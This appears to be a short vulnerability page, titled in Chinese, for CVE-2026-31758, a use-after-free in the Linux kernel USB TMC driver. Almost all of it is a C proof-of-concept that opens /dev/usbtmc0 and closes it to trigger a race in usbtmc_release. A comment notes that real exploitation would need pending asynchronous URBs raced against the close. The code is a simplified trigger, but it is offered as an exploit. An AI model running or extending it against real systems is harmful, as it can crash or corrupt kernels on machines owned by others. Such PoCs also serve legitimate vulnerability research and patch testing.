CVE-2026-31758 Linux内核USB TMC释放后重用漏洞

// PoC for CVE-2026-31758 // This code attempts to trigger the race condition in usbtmc_release // by opening the device and closing it while URBs might be pending. #include <stdio.h> #include <fcntl.h> #include <unistd.h> #include <stdlib.h> int main(int argc, char *argv[]) { const char *device = "/dev/usbtmc0"; int fd; printf("[+] Attempting to open %s\n", device); fd = open(device, O_RDWR); if (fd < 0) { perror("[-] Failed to open device"); return 1; } printf("[+] Device opened successfully. FD: %d\n", fd); // In a real exploitation scenario, one would need to submit // asynchronous I/O requests (URBs) here and race with the close operation. // This is a simplified trigger for the vulnerability logic. printf("[+] Closing device to trigger usbtmc_release...\n"); close(fd); printf("[+] Done. Check kernel logs for crashes or UAF detection.\n"); return 0; }